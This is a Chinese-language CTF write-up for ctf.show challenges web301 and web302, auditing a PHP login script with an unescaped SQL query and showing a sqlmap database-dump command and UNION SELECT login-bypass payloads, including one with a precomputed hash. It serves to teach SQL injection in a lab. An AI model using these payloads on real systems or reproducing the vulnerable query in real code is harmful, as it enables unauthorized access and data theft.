web301

题目(给了源码)

checklogin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");

?>

fun.php

1
2
3
4
5
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>

给的代码里主要的就是这两个代码了,那么我们就可以对这个代码进行审计一下

我们进行审计发现这个代码sql是没有waf的,那么我们就可以尝试去进行一下sqlmap工具的利用

1
sqlmap -u http://f06618b6-6697-4bc5-a506-50b8e9ce7739.challenge.ctf.show/checklogin.php --form --batch --dump

yu师傅使用的这个工具就会全部导出数据库 表 列 和列里面的东西

image-20230318221422214

最后就会拿到账号密码了

image-20230318221525179

拿到flag了

这里的话代码中又有一个逻辑漏洞

image-20230318221733657

这里就是只要我们输入的密码和数据库中的密码相等就行了

他这里是利用sql语句来查找数据库中的密码,这里我们就可以进行控制数据库中的密码

image-20230318223043391

当前面查询不存在时,就会使用后面定义的值

paylaod

1
2
1' union select 1#
1

web302

题目

给了给题目说明

修改的地方

1
if(!strcasecmp(sds_decode($userpwd),$row['sds_password']))

这里修改了这,那么就会对我们传进来的userpwd进行加密

1
2
3
4
5
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>

因为我们传进来的str是1,所以就可以利用这个写好的php代码来进行生成加密后的值

image-20230318225948652

1
2
1' union select "d9c77c4e454869d5d8da3b4be79694d3"#
1

然后在重新修改一下sql语句

然后这道题就完成,这只是简单的对用户传进来的密码进行加密而已,然后又给了加密代码,所以这样就能通过给的加密代码判断出加密的值了

web303

题目

这次换源码了